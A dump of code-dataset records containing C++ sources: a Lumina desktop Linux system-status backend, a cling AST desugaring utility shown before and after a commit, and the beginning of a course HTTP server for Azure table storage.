);\n int ret = LUtils::runCmd(cmd);\n \/\/Save the result for later\n if(ret!=0){ screenbrightness = -1; }\n else{ screenbrightness = percent; }\n LUtils::writeFile(QString(getenv(\"XDG_CONFIG_HOME\"))+\"\/lumina-desktop\/.currentxbrightness\", QStringList() << QString::number(screenbrightness), true);\n\n}\n\n\/\/Read the current volume\nint LOS::audioVolume(){ \/\/Returns: audio volume as a percentage (0-100, with -1 for errors)\nQString info = LUtils::getCmdOutput(\"amixer get Master\").join(\"\").simplified();;\n int out = -1;\n int start_position, end_position;\n QString current_volume;\n if(!info.isEmpty()){\n start_position = info.indexOf(\"[\");\n start_position++;\n end_position = info.indexOf(\"%\");\n current_volume = info.mid(start_position, end_position - start_position);\n out = current_volume.toInt();\n }\n return out;\n\n}\n\n\/\/Set the current volume\nvoid LOS::setAudioVolume(int percent){\n if(percent<0){percent=0;}\n else if(percent>100){percent=100;}\n \/\/ QString info = \"amixer -c 0 sset Master,0 \" + QString::number(percent) + \"%\";\n QString info = \"amixer set Master \" + QString::number(percent) + \"%\";\n if(!info.isEmpty()){\n \/\/Run Command\n LUtils::runCmd(info);\n }\n\n}\n\n\/\/Change the current volume a set amount (+ or -)\nvoid LOS::changeAudioVolume(int percentdiff){\n int old_volume = audioVolume();\n int new_volume = old_volume + percentdiff;\n if (new_volume < 0)\n new_volume = 0;\n if (new_volume > 100)\n new_volume = 100;\n qDebug() << \"Setting new volume to: \" << new_volume;\n setAudioVolume(new_volume);\n}\n\n\/\/Check if a graphical audio mixer is installed\nbool LOS::hasMixerUtility(){\n return QFile::exists(LOS::AppPrefix() + \"bin\/pavucontrol\");\n}\n\n\/\/Launch the graphical audio mixer utility\nvoid LOS::startMixerUtility(){\n QProcess::startDetached(LOS::AppPrefix() + \"bin\/pavucontrol\");\n}\n\n\/\/Check for user system permission (shutdown\/restart)\nbool LOS::userHasShutdownAccess(){\n return QProcess::startDetached(\"dbus-send --system --print-reply=literal \\\n --type=method_call --dest=org.freedesktop.ConsoleKit \\\n \/org\/freedesktop\/ConsoleKit\/Manager org.freedesktop.ConsoleKit.Manager.CanPowerOff\");\n}\n\n\/\/Check for whether the system is safe to power off (no updates being perfomed)\nbool LOS::systemPerformingUpdates(){\n return false; \/\/Not implemented yet\n}\n\n\/\/Return the details of any updates which are waiting to apply on shutdown\nQString LOS::systemPendingUpdates(){\n return \"\";\n}\n\n\/\/System Shutdown\nvoid LOS::systemShutdown(bool){ \/\/start poweroff sequence\n \/\/INPUT: skip updates (true\/false)\n QProcess::startDetached(\"dbus-send --system --print-reply \\\n --dest=org.freedesktop.ConsoleKit \/org\/freedesktop\/ConsoleKit\/Manager \\\n org.freedesktop.ConsoleKit.Manager.PowerOff boolean:true\");\n}\n\n\/\/System Restart\nvoid LOS::systemRestart(bool){ \/\/start reboot sequence\n \/\/INPUT: skip updates (true\/false)\n QProcess::startDetached(\"dbus-send --system --print-reply \\\n --dest=org.freedesktop.ConsoleKit \/org\/freedesktop\/ConsoleKit\/Manager \\\n org.freedesktop.ConsoleKit.Manager.Reboot boolean:true\");\n}\n\n\/\/Check for suspend support\nbool LOS::systemCanSuspend(){\n return QProcess::startDetached(\"dbus-send --system --print-reply=literal \\\n --type=method_call --dest=org.freedesktop.ConsoleKit \\\n \/org\/freedesktop\/ConsoleKit\/Manager org.freedesktop.ConsoleKit.Manager.CanSuspend\");\n}\n\n\/\/Put the system into the suspend state\nvoid LOS::systemSuspend(){\n QProcess::startDetached(\"dbus-send --system --print-reply \\\n --dest=org.freedesktop.ConsoleKit \/org\/freedesktop\/ConsoleKit\/Manager \\\n org.freedesktop.ConsoleKit.Manager.Suspend boolean:true\");\n}\n\n\/\/Battery Availability\nbool LOS::hasBattery(){\n QString my_status = LUtils::getCmdOutput(\"acpi -b\").join(\"\");\n bool no_battery = my_status.contains(\"No support\");\n if (no_battery) return false;\n return true;\n}\n\n\/\/Battery Charge Level\nint LOS::batteryCharge(){ \/\/Returns: percent charge (0-100), anything outside that range is counted as an error\n QString my_status = LUtils::getCmdOutput(\"acpi -b\").join(\"\");\n int my_start = my_status.indexOf(\"%\");\n \/\/ get the number right before the % sign\n int my_end = my_start;\n my_start--;\n while ( (my_status[my_start] != ' ') && (my_start > 0) )\n my_start--;\n my_start++;\n int my_charge = my_status.mid(my_start, my_end - my_start).toInt();\n if ( (my_charge < 0) || (my_charge > 100) ) return -1;\n return my_charge;\n}\n\n\/\/Battery Charging State\n\/\/ Many possible values are returned if the laptop is plugged in\n\/\/ these include \"Unknown, Full and No support.\n\/\/ However, it seems just one status is returned when running\n\/\/ on battery and that is \"Discharging\". So if the value we get\n\/\/ is NOT Discharging then we assume the battery is charging.\nbool LOS::batteryIsCharging(){\n QString my_status = LUtils::getCmdOutput(\"acpi -b\").join(\"\");\n bool discharging = my_status.contains(\"Discharging\");\n if (discharging) return false;\n return true;\n}\n\n\/\/Battery Time Remaining\nint LOS::batterySecondsLeft(){ \/\/Returns: estimated number of seconds remaining\n return 0; \/\/not implemented yet for Linux\n}\n\n\/\/File Checksums\nQStringList LOS::Checksums(QStringList filepaths){ \/\/Return: checksum of the input file\n QStringList info = LUtils::getCmdOutput(\"md5sum \\\"\"+filepaths.join(\"\\\" \\\"\")+\"\\\"\");\n for(int i=0; i<info.length(); i++){\n \/\/ first: md5sum: = error ; second: there's always one empty entry generated by getCmdOutput\n if( info[i].startsWith(\"md5sum:\") || info[i].isEmpty()){ info.removeAt(i); i--; }\n else{\n \/\/Strip out the extra information\n info[i] = info[i].section(\" \",0,0);\n }\n }\n return info;\n}\n\n\/\/file system capacity\nQString LOS::FileSystemCapacity(QString dir) { \/\/Return: percentage capacity as give by the df command\n QStringList mountInfo = LUtils::getCmdOutput(\"df -h \\\"\" + dir + \"\\\"\");\n QString::SectionFlag skipEmpty = QString::SectionSkipEmpty;\n \/\/output: 200G of 400G available on \/mount\/point\n QString capacity = mountInfo[1].section(\" \",3,3, skipEmpty) + \" of \" + mountInfo[1].section(\" \",1,1, skipEmpty) + \" available on \" + mountInfo[1].section(\" \",5,5, skipEmpty);\n return capacity;\n}\n\nQStringList LOS::CPUTemperatures(){ \/\/Returns: List containing the temperature of any CPU's (\"50C\" for example)\n QStringList temp = LUtils::getCmdOutput(\"acpi -t\").filter(\"degrees\");\n for(int i=0; i<temp.length(); i++){\n if(temp[i].startsWith(\"Thermal\")){\n temp[i] = temp[i].section(\" \", 4, 6);\n }else{\n temp.removeAt(i); i--;\n }\n }\n if(temp.isEmpty()) {\n temp << \"Not available\";\n }\n return temp;\n}\n\nint LOS::CPUUsagePercent(){ \/\/Returns: Overall percentage of the amount of CPU cycles in use (-1 for errors)\n QStringList info = LUtils::getCmdOutput(\"top -bn1\").filter(\"Cpu(s)\");\n if(info.isEmpty()){ return -1; }\n QString idle = info.first().section(\" \", 7, 7, QString::SectionSkipEmpty);\n if(idle.isEmpty()){ return -1; }\n else{\n return (100 - idle.toDouble());\n }\n}\n\nint LOS::MemoryUsagePercent(){\n QStringList mem = LUtils::getCmdOutput(\"top -bn1\").filter(\"Mem :\");\n if(mem.isEmpty()){ return -1; }\n double fB = 0; \/\/Free Bytes\n double uB = 0; \/\/Used Bytes\n fB = mem.first().section(\" \", 5, 5, QString::SectionSkipEmpty).toDouble();\n uB = mem.first().section(\" \", 7, 7, QString::SectionSkipEmpty).toDouble();\n double per = (uB\/(fB+uB)) * 100.0;\n return qRound(per);\n}\n\nQStringList LOS::DiskUsage(){ \/\/Returns: List of current read\/write stats for each device\n QStringList info = LUtils::getCmdOutput(\"iostat -dx -N\");\n if(info.length()<3){ return QStringList(); } \/\/nothing from command\n QStringList labs = info[1].split(\" \",QString::SkipEmptyParts);\n QStringList out;\n QString fmt = \"%1: %2 %3\";\n for(int i=2; i<info.length(); i++){ \/\/skip the first two lines, just labels\n info[i].replace(\"\\t\",\" \");\n if(info[i].startsWith(\"Device:\")){ labs = info[i].split(\" \", QString::SkipEmptyParts); }\/\/the labels for each column\n else{\n QStringList data = info[i].split(\" \",QString::SkipEmptyParts); \/\/data[0] is always the device\n if(data.length()>2 && labs.length()>2){\n out << fmt.arg(data[0], data[3]+\" \"+labs[3], data[4]+\" \"+labs[4]);\n }\n }\n }\n\n return out;\n}\n#endif\n<|endoftext|>"} {"text":"<commit_before>\/\/------------------------------------------------------------------------------\n\/\/ CLING - the C++ LLVM-based InterpreterG :)\n\/\/ version: $Id$\n\/\/ author: Vassil Vassilev <vasil.georgiev.vasilev@cern.ch>\n\/\/------------------------------------------------------------------------------\n\n#include \"cling\/Utils\/AST.h\"\n\n#include \"clang\/AST\/ASTContext.h\"\n#include \"clang\/AST\/DeclarationName.h\"\n#include \"clang\/Sema\/Sema.h\"\n#include \"clang\/Sema\/Lookup.h\"\n\nusing namespace clang;\n\nnamespace cling {\nnamespace utils {\n Expr* Synthesize::CStyleCastPtrExpr(Sema* S, QualType Ty, uint64_t Ptr) {\n ASTContext& Ctx = S->getASTContext();\n if (!Ty->isPointerType())\n Ty = Ctx.getPointerType(Ty);\n TypeSourceInfo* TSI = Ctx.CreateTypeSourceInfo(Ty);\n const llvm::APInt Addr(8 * sizeof(void *), Ptr);\n\n Expr* Result = IntegerLiteral::Create(Ctx, Addr, Ctx.UnsignedLongTy,\n SourceLocation());\n Result = S->BuildCStyleCastExpr(SourceLocation(), TSI, SourceLocation(),\n Result).take();\n assert(Result && \"Cannot create CStyleCastPtrExpr\");\n return Result;\n\n }\n\n static\n NestedNameSpecifier* GetPartiallyDesugaredNNS(const ASTContext& Ctx, \n NestedNameSpecifier* scope, \n const llvm::SmallSet<const Type*, 4>& TypesToSkip){\n \/\/ Desugar the scope qualifier if needed.\n\n const Type* scope_type = scope->getAsType();\n if (scope_type) {\n \/\/ this is not a namespace, so we might need to desugar\n NestedNameSpecifier* outer_scope = scope->getPrefix();\n if (outer_scope) {\n outer_scope = GetPartiallyDesugaredNNS(Ctx, outer_scope, TypesToSkip);\n }\n\n QualType desugared = \n Transform::GetPartiallyDesugaredType(Ctx,\n QualType(scope_type,0),\n TypesToSkip, \n \/*fullyQualify=*\/false);\n \/\/ NOTE: Should check whether the type has changed or not.\n return NestedNameSpecifier::Create(Ctx,outer_scope,\n false \/* template keyword wanted *\/,\n desugared.getTypePtr());\n }\n return scope;\n }\n\n static\n NestedNameSpecifier* CreateNestedNameSpecifier(const ASTContext& Ctx,\n NamespaceDecl* cl) {\n\n NamespaceDecl* outer \n = llvm::dyn_cast_or_null<NamespaceDecl>(cl->getDeclContext());\n if (outer && outer->getName().size()) {\n NestedNameSpecifier* outerNNS = CreateNestedNameSpecifier(Ctx,outer);\n return NestedNameSpecifier::Create(Ctx,outerNNS,\n cl);\n } else {\n return NestedNameSpecifier::Create(Ctx, \n 0, \/* no starting '::'*\/\n cl); \n }\n }\n\n static\n NestedNameSpecifier* CreateNestedNameSpecifier(const ASTContext& Ctx,\n TagDecl *cl) {\n\n NamedDecl* outer = llvm::dyn_cast_or_null<NamedDecl>(cl->getDeclContext());\n if (outer && outer->getName().size()) {\n NestedNameSpecifier *outerNNS;\n if (cl->getDeclContext()->isNamespace()) {\n outerNNS = CreateNestedNameSpecifier(Ctx,\n llvm::dyn_cast<NamespaceDecl>(outer));\n } else {\n outerNNS = CreateNestedNameSpecifier(Ctx,\n llvm::dyn_cast<TagDecl>(outer));\n }\n return NestedNameSpecifier::Create(Ctx,outerNNS,\n false \/* template keyword wanted *\/,\n Ctx.getTypeDeclType(cl).getTypePtr());\n } else {\n return NestedNameSpecifier::Create(Ctx, \n 0, \/* no starting '::'*\/\n false \/* template keyword wanted *\/,\n Ctx.getTypeDeclType(cl).getTypePtr()); \n }\n }\n\n QualType Transform::GetPartiallyDesugaredType(const ASTContext& Ctx, \n QualType QT, \n const llvm::SmallSet<const Type*, 4>& TypesToSkip,\n bool fullyQualify \/*=true*\/){\n \/\/ If there are no constains - use the standard desugaring.\n if (!TypesToSkip.size())\n return QT.getDesugaredType(Ctx);\n\n \/\/ In case of Int_t* we need to strip the pointer first, desugar and attach\n \/\/ the pointer once again.\n if (QT->isPointerType()) {\n \/\/ Get the qualifiers.\n Qualifiers quals = QT.getQualifiers(); \n QT = GetPartiallyDesugaredType(Ctx, QT->getPointeeType(), TypesToSkip, \n fullyQualify);\n QT = Ctx.getPointerType(QT);\n \/\/ Add back the qualifiers.\n QT = Ctx.getQualifiedType(QT, quals);\n }\n\n \/\/ In case of Int_t& we need to strip the pointer first, desugar and attach\n \/\/ the pointer once again.\n if (QT->isReferenceType()) {\n \/\/ Get the qualifiers.\n bool isLValueRefTy = isa<LValueReferenceType>(QT.getTypePtr());\n Qualifiers quals = QT.getQualifiers();\n QT = GetPartiallyDesugaredType(Ctx, QT->getPointeeType(), TypesToSkip, \n fullyQualify);\n \/\/ Add the r- or l- value reference type back to the desugared one\n if (isLValueRefTy)\n QT = Ctx.getLValueReferenceType(QT);\n else\n QT = Ctx.getRValueReferenceType(QT);\n \/\/ Add back the qualifiers.\n QT = Ctx.getQualifiedType(QT, quals);\n }\n\n while(isa<TypedefType>(QT.getTypePtr())) {\n if (!TypesToSkip.count(QT.getTypePtr())) \n QT = QT.getSingleStepDesugaredType(Ctx);\n else\n return QT;\n }\n NestedNameSpecifier* prefix = 0;\n const ElaboratedType* etype \n = llvm::dyn_cast<ElaboratedType>(QT.getTypePtr());\n if (etype) {\n \/\/ We have to also desugar the prefix.\n \n prefix = GetPartiallyDesugaredNNS(Ctx, etype->getQualifier(), TypesToSkip);\n QT = QualType(etype->getNamedType().getTypePtr(),QT.getLocalFastQualifiers());\n } else if (fullyQualify) {\n \/\/ Let's check whether this type should have been an elaborated type.\n \/\/ in which case we want to add it ... but we can't really preserve\n \/\/ the typedef in this case ...\n CXXRecordDecl* cl = QT->getAsCXXRecordDecl();\n if (cl) {\n NamedDecl* outer \n = llvm::dyn_cast_or_null<NamedDecl>(cl->getDeclContext());\n if (outer && outer->getName ().size()) {\n if (cl->getDeclContext()->isNamespace()) {\n prefix = CreateNestedNameSpecifier(Ctx,\n llvm::dyn_cast<NamespaceDecl>(outer));\n } else {\n prefix = CreateNestedNameSpecifier(Ctx,\n llvm::dyn_cast<TagDecl>(outer));\n }\n }\n }\n }\n\n \/\/ In case of template specializations iterate over the arguments and \n \/\/ desugar them as well.\n if(const TemplateSpecializationType* TST \n = dyn_cast<const TemplateSpecializationType>(QT.getTypePtr())) {\n \n bool mightHaveChanged = false;\n llvm::SmallVector<TemplateArgument, 4> desArgs;\n for(TemplateSpecializationType::iterator I = TST->begin(), E = TST->end();\n I != E; ++I) {\n QualType SubTy = I->getAsType();\n \n if (SubTy.isNull()) {\n desArgs.push_back(*I);\n continue;\n }\n\n \/\/ Check if the type needs more desugaring and recurse.\n if (isa<TypedefType>(SubTy) \n || isa<TemplateSpecializationType>(SubTy)\n || fullyQualify) {\n mightHaveChanged = true;\n desArgs.push_back(TemplateArgument(GetPartiallyDesugaredType(Ctx,\n SubTy,\n TypesToSkip,\n fullyQualify)));\n } else \n desArgs.push_back(*I);\n }\n \n \/\/ If desugaring happened allocate new type in the AST.\n if (mightHaveChanged) {\n QT = Ctx.getTemplateSpecializationType(TST->getTemplateName(), \n desArgs.data(),\n desArgs.size(),\n TST->getCanonicalTypeInternal());\n }\n }\n if (prefix) {\n QT = Ctx.getElaboratedType(ETK_None,prefix,QT);\n }\n return QT; \n }\n\n NamespaceDecl* Lookup::Namespace(Sema* S, const char* Name,\n DeclContext* Within) {\n DeclarationName DName = &S->Context.Idents.get(Name);\n LookupResult R(*S, DName, SourceLocation(),\n Sema::LookupNestedNameSpecifierName);\n if (!Within)\n S->LookupName(R, S->TUScope);\n else\n S->LookupQualifiedName(R, Within);\n\n if (R.empty())\n return 0;\n\n R.resolveKind();\n\n return dyn_cast<NamespaceDecl>(R.getFoundDecl());\n }\n\n NamedDecl* Lookup::Named(Sema* S, const char* Name, DeclContext* Within) {\n DeclarationName DName = &S->Context.Idents.get(Name);\n\n LookupResult R(*S, DName, SourceLocation(), Sema::LookupOrdinaryName,\n Sema::ForRedeclaration);\n if (!Within)\n S->LookupName(R, S->TUScope);\n else\n S->LookupQualifiedName(R, Within);\n\n if (R.empty())\n return 0;\n\n R.resolveKind();\n\n return R.getFoundDecl();\n\n }\n} \/\/ end namespace utils\n} \/\/ end namespace cling\n<commit_msg>Do not use standard desugaring if we need to have the full qualification<commit_after>\/\/------------------------------------------------------------------------------\n\/\/ CLING - the C++ LLVM-based InterpreterG :)\n\/\/ version: $Id$\n\/\/ author: Vassil Vassilev <vasil.georgiev.vasilev@cern.ch>\n\/\/------------------------------------------------------------------------------\n\n#include \"cling\/Utils\/AST.h\"\n\n#include \"clang\/AST\/ASTContext.h\"\n#include \"clang\/AST\/DeclarationName.h\"\n#include \"clang\/Sema\/Sema.h\"\n#include \"clang\/Sema\/Lookup.h\"\n\nusing namespace clang;\n\nnamespace cling {\nnamespace utils {\n Expr* Synthesize::CStyleCastPtrExpr(Sema* S, QualType Ty, uint64_t Ptr) {\n ASTContext& Ctx = S->getASTContext();\n if (!Ty->isPointerType())\n Ty = Ctx.getPointerType(Ty);\n TypeSourceInfo* TSI = Ctx.CreateTypeSourceInfo(Ty);\n const llvm::APInt Addr(8 * sizeof(void *), Ptr);\n\n Expr* Result = IntegerLiteral::Create(Ctx, Addr, Ctx.UnsignedLongTy,\n SourceLocation());\n Result = S->BuildCStyleCastExpr(SourceLocation(), TSI, SourceLocation(),\n Result).take();\n assert(Result && \"Cannot create CStyleCastPtrExpr\");\n return Result;\n\n }\n\n static\n NestedNameSpecifier* GetPartiallyDesugaredNNS(const ASTContext& Ctx, \n NestedNameSpecifier* scope, \n const llvm::SmallSet<const Type*, 4>& TypesToSkip){\n \/\/ Desugar the scope qualifier if needed.\n\n const Type* scope_type = scope->getAsType();\n if (scope_type) {\n \/\/ this is not a namespace, so we might need to desugar\n NestedNameSpecifier* outer_scope = scope->getPrefix();\n if (outer_scope) {\n outer_scope = GetPartiallyDesugaredNNS(Ctx, outer_scope, TypesToSkip);\n }\n\n QualType desugared = \n Transform::GetPartiallyDesugaredType(Ctx,\n QualType(scope_type,0),\n TypesToSkip, \n \/*fullyQualify=*\/false);\n \/\/ NOTE: Should check whether the type has changed or not.\n return NestedNameSpecifier::Create(Ctx,outer_scope,\n false \/* template keyword wanted *\/,\n desugared.getTypePtr());\n }\n return scope;\n }\n\n static\n NestedNameSpecifier* CreateNestedNameSpecifier(const ASTContext& Ctx,\n NamespaceDecl* cl) {\n\n NamespaceDecl* outer \n = llvm::dyn_cast_or_null<NamespaceDecl>(cl->getDeclContext());\n if (outer && outer->getName().size()) {\n NestedNameSpecifier* outerNNS = CreateNestedNameSpecifier(Ctx,outer);\n return NestedNameSpecifier::Create(Ctx,outerNNS,\n cl);\n } else {\n return NestedNameSpecifier::Create(Ctx, \n 0, \/* no starting '::'*\/\n cl); \n }\n }\n\n static\n NestedNameSpecifier* CreateNestedNameSpecifier(const ASTContext& Ctx,\n TagDecl *cl) {\n\n NamedDecl* outer = llvm::dyn_cast_or_null<NamedDecl>(cl->getDeclContext());\n if (outer && outer->getName().size()) {\n NestedNameSpecifier *outerNNS;\n if (cl->getDeclContext()->isNamespace()) {\n outerNNS = CreateNestedNameSpecifier(Ctx,\n llvm::dyn_cast<NamespaceDecl>(outer));\n } else {\n outerNNS = CreateNestedNameSpecifier(Ctx,\n llvm::dyn_cast<TagDecl>(outer));\n }\n return NestedNameSpecifier::Create(Ctx,outerNNS,\n false \/* template keyword wanted *\/,\n Ctx.getTypeDeclType(cl).getTypePtr());\n } else {\n return NestedNameSpecifier::Create(Ctx, \n 0, \/* no starting '::'*\/\n false \/* template keyword wanted *\/,\n Ctx.getTypeDeclType(cl).getTypePtr()); \n }\n }\n\n QualType Transform::GetPartiallyDesugaredType(const ASTContext& Ctx, \n QualType QT, \n const llvm::SmallSet<const Type*, 4>& TypesToSkip,\n bool fullyQualify \/*=true*\/){\n \/\/ If there are no constains - use the standard desugaring.\n if (!TypesToSkip.size() && !fullyQualify)\n return QT.getDesugaredType(Ctx);\n\n \/\/ In case of Int_t* we need to strip the pointer first, desugar and attach\n \/\/ the pointer once again.\n if (QT->isPointerType()) {\n \/\/ Get the qualifiers.\n Qualifiers quals = QT.getQualifiers(); \n QT = GetPartiallyDesugaredType(Ctx, QT->getPointeeType(), TypesToSkip, \n fullyQualify);\n QT = Ctx.getPointerType(QT);\n \/\/ Add back the qualifiers.\n QT = Ctx.getQualifiedType(QT, quals);\n }\n\n \/\/ In case of Int_t& we need to strip the pointer first, desugar and attach\n \/\/ the pointer once again.\n if (QT->isReferenceType()) {\n \/\/ Get the qualifiers.\n bool isLValueRefTy = isa<LValueReferenceType>(QT.getTypePtr());\n Qualifiers quals = QT.getQualifiers();\n QT = GetPartiallyDesugaredType(Ctx, QT->getPointeeType(), TypesToSkip, \n fullyQualify);\n \/\/ Add the r- or l- value reference type back to the desugared one\n if (isLValueRefTy)\n QT = Ctx.getLValueReferenceType(QT);\n else\n QT = Ctx.getRValueReferenceType(QT);\n \/\/ Add back the qualifiers.\n QT = Ctx.getQualifiedType(QT, quals);\n }\n\n while(isa<TypedefType>(QT.getTypePtr())) {\n if (!TypesToSkip.count(QT.getTypePtr())) \n QT = QT.getSingleStepDesugaredType(Ctx);\n else\n return QT;\n }\n NestedNameSpecifier* prefix = 0;\n const ElaboratedType* etype \n = llvm::dyn_cast<ElaboratedType>(QT.getTypePtr());\n if (etype) {\n \/\/ We have to also desugar the prefix.\n \n prefix = GetPartiallyDesugaredNNS(Ctx, etype->getQualifier(), TypesToSkip);\n QT = QualType(etype->getNamedType().getTypePtr(),QT.getLocalFastQualifiers());\n } else if (fullyQualify) {\n \/\/ Let's check whether this type should have been an elaborated type.\n \/\/ in which case we want to add it ... but we can't really preserve\n \/\/ the typedef in this case ...\n CXXRecordDecl* cl = QT->getAsCXXRecordDecl();\n if (cl) {\n NamedDecl* outer \n = llvm::dyn_cast_or_null<NamedDecl>(cl->getDeclContext());\n if (outer && outer->getName ().size()) {\n if (cl->getDeclContext()->isNamespace()) {\n prefix = CreateNestedNameSpecifier(Ctx,\n llvm::dyn_cast<NamespaceDecl>(outer));\n } else {\n prefix = CreateNestedNameSpecifier(Ctx,\n llvm::dyn_cast<TagDecl>(outer));\n }\n }\n }\n }\n\n \/\/ In case of template specializations iterate over the arguments and \n \/\/ desugar them as well.\n if(const TemplateSpecializationType* TST \n = dyn_cast<const TemplateSpecializationType>(QT.getTypePtr())) {\n \n bool mightHaveChanged = false;\n llvm::SmallVector<TemplateArgument, 4> desArgs;\n for(TemplateSpecializationType::iterator I = TST->begin(), E = TST->end();\n I != E; ++I) {\n QualType SubTy = I->getAsType();\n \n if (SubTy.isNull()) {\n desArgs.push_back(*I);\n continue;\n }\n\n \/\/ Check if the type needs more desugaring and recurse.\n if (isa<TypedefType>(SubTy) \n || isa<TemplateSpecializationType>(SubTy)\n || fullyQualify) {\n mightHaveChanged = true;\n desArgs.push_back(TemplateArgument(GetPartiallyDesugaredType(Ctx,\n SubTy,\n TypesToSkip,\n fullyQualify)));\n } else \n desArgs.push_back(*I);\n }\n \n \/\/ If desugaring happened allocate new type in the AST.\n if (mightHaveChanged) {\n \/\/ This lose any qualifiers in the original QT (intentional for now)\n QT = Ctx.getTemplateSpecializationType(TST->getTemplateName(), \n desArgs.data(),\n desArgs.size(),\n TST->getCanonicalTypeInternal());\n }\n }\n if (prefix) {\n QT = Ctx.getElaboratedType(ETK_None,prefix,QT);\n }\n return QT; \n }\n\n NamespaceDecl* Lookup::Namespace(Sema* S, const char* Name,\n DeclContext* Within) {\n DeclarationName DName = &S->Context.Idents.get(Name);\n LookupResult R(*S, DName, SourceLocation(),\n Sema::LookupNestedNameSpecifierName);\n if (!Within)\n S->LookupName(R, S->TUScope);\n else\n S->LookupQualifiedName(R, Within);\n\n if (R.empty())\n return 0;\n\n R.resolveKind();\n\n return dyn_cast<NamespaceDecl>(R.getFoundDecl());\n }\n\n NamedDecl* Lookup::Named(Sema* S, const char* Name, DeclContext* Within) {\n DeclarationName DName = &S->Context.Idents.get(Name);\n\n LookupResult R(*S, DName, SourceLocation(), Sema::LookupOrdinaryName,\n Sema::ForRedeclaration);\n if (!Within)\n S->LookupName(R, S->TUScope);\n else\n S->LookupQualifiedName(R, Within);\n\n if (R.empty())\n return 0;\n\n R.resolveKind();\n\n return R.getFoundDecl();\n\n }\n} \/\/ end namespace utils\n} \/\/ end namespace cling\n<|endoftext|>"} {"text":"<commit_before>\/*\n Basic Server code for CMPT 276, Spring 2016.\n *\/\n\n#include <exception>\n#include <iostream>\n#include <memory>\n#include <string>\n#include <unordered_map>\n#include <utility>\n#include <vector>\n\n#include <cpprest\/base_uri.h>\n#include <cpprest\/http_listener.h>\n#include <cpprest\/json.h>\n\n#include <pplx\/pplxtasks.h>\n\n#include <was\/common.h>\n#include <was\/storage_account.h>\n#include <was\/table.h>\n\n#include \"TableCache.h\"\n#include \"config.h\"\n#include \"make_unique.h\"\n\n#include \"azure_keys.h\"\n\nusing azure::storage::cloud_storage_account;\nusing azure::storage::storage_credentials;\nusing azure::storage::storage_exception;\nusing azure::storage::cloud_table;\nusing azure::storage::cloud_table_client;\nusing azure::storage::edm_type;\nusing azure::storage::entity_property;\nusing azure::storage::table_entity;\nusing azure::storage::table_operation;\nusing azure::storage::table_query;\nusing azure::storage::table_query_iterator;\nusing azure::storage::table_result;\n\nusing pplx::extensibility::critical_section_t;\nusing pplx::extensibility::scoped_critical_section_t;\n\nusing std::cin;\nusing std::cout;\nusing std::endl;\nusing std::getline;\nusing std::make_pair;\nusing std::pair;\nusing std::string;\nusing std::unordered_map;\nusing std::vector;\n\nusing web::http::http_headers;\nusing web::http::http_request;\nusing web::http::methods;\nusing web::http::status_codes;\nusing web::http::uri;\n\nusing web::json::value;\n\nusing web::http::experimental::listener::http_listener;\n\nusing prop_vals_t = vector<pair<string,value>>;\n\nconstexpr const char* def_url = \"http:\/\/localhost:34568\";\n\nconst string create_table {\"CreateTable\"};\nconst string delete_table {\"DeleteTable\"};\nconst string update_entity {\"UpdateEntity\"};\nconst string delete_entity {\"DeleteEntity\"};\n\n\/*\n Cache of opened tables\n *\/\nTableCache table_cache {storage_connection_string};\n\n\/*\n Convert properties represented in Azure Storage type\n to prop_vals_t type.\n *\/\nprop_vals_t get_properties (const table_entity::properties_type& properties, prop_vals_t values = prop_vals_t {}) {\n for (const auto v : properties) {\n if (v.second.property_type() == edm_type::string) {\n values.push_back(make_pair(v.first, value::string(v.second.string_value())));\n }\n else if (v.second.property_type() == edm_type::datetime) {\n values.push_back(make_pair(v.first, value::string(v.second.str())));\n }\n else if(v.second.property_type() == edm_type::int32) {\n values.push_back(make_pair(v.first, value::number(v.second.int32_value()))); \n }\n else if(v.second.property_type() == edm_type::int64) {\n values.push_back(make_pair(v.first, value::number(v.second.int64_value()))); \n }\n else if(v.second.property_type() == edm_type::double_floating_point) {\n values.push_back(make_pair(v.first, value::number(v.second.double_value()))); \n }\n else if(v.second.property_type() == edm_type::boolean) {\n values.push_back(make_pair(v.first, value::boolean(v.second.boolean_value()))); \n }\n else {\n values.push_back(make_pair(v.first, value::string(v.second.str())));\n }\n }\n return values;\n}\n\n\/*\n Given an HTTP message with a JSON body, return the JSON\n body as an unordered map of strings to strings.\n\n Note that all types of JSON values are returned as strings.\n Use C++ conversion utilities to convert to numbers or dates\n as necessary.\n *\/\nunordered_map<string,string> get_json_body(http_request message) { \n unordered_map<string,string> results {};\n const http_headers& headers {message.headers()};\n auto content_type (headers.find(\"Content-Type\"));\n if (content_type == headers.end() ||\n content_type->second != \"application\/json\")\n return results;\n\n value json{};\n message.extract_json(true)\n .then([&json](value v) -> bool\n\t {\n json = v;\n\t return true;\n\t })\n .wait();\n\n if (json.is_object()) {\n for (const auto& v : json.as_object()) {\n if (v.second.is_string()) {\n\tresults[v.first] = v.second.as_string();\n }\n else {\n\tresults[v.first] = v.second.serialize();\n }\n }\n }\n return results;\n}\n\n\/*\n Top-level routine for processing all HTTP GET requests.\n\n GET is the only request that has no command. All\n operands specify the value(s) to be retrieved.\n *\/\nvoid handle_get(http_request message) { \n string path {uri::decode(message.relative_uri().path())};\n cout << endl << \"**** GET \" << path << endl;\n auto paths = uri::split_path(path);\n \/\/ Need at least a table name\n if (paths.size() < 1) {\n message.reply(status_codes::BadRequest);\n return;\n }\n\n cloud_table table {table_cache.lookup_table(paths[0])};\n if ( ! table.exists()) {\n message.reply(status_codes::NotFound);\n return;\n }\n\n \/\/ GET all entries in table\n if (paths.size() == 1) {\n table_query query {};\n table_query_iterator end;\n table_query_iterator it = table.execute_query(query);\n vector<value> key_vec;\n while (it != end) {\n cout << \"Key: \" << it->partition_key() << \" \/ \" << it->row_key() << endl;\n prop_vals_t keys {\n\tmake_pair(\"Partition\",value::string(it->partition_key())),\n\tmake_pair(\"Row\", value::string(it->row_key()))};\n keys = get_properties(it->properties(), keys);\n key_vec.push_back(value::object(keys));\n ++it;\n }\n message.reply(status_codes::OK, value::array(key_vec));\n return;\n }\n\n \/\/ GET specific entry: Partition == paths[1], Row == paths[2]\n table_operation retrieve_operation {table_operation::retrieve_entity(paths[1], paths[2])};\n table_result retrieve_result {table.execute(retrieve_operation)};\n cout << \"HTTP code: \" << retrieve_result.http_status_code() << endl;\n if (retrieve_result.http_status_code() == status_codes::NotFound) {\n message.reply(status_codes::NotFound);\n return;\n }\n\n table_entity entity {retrieve_result.entity()};\n table_entity::properties_type properties {entity.properties()};\n \n \/\/ If the entity has any properties, return them as JSON\n prop_vals_t values (get_properties(properties));\n if (values.size() > 0)\n message.reply(status_codes::OK, value::object(values));\n else\n message.reply(status_codes::OK);\n}\n\n\/*\n 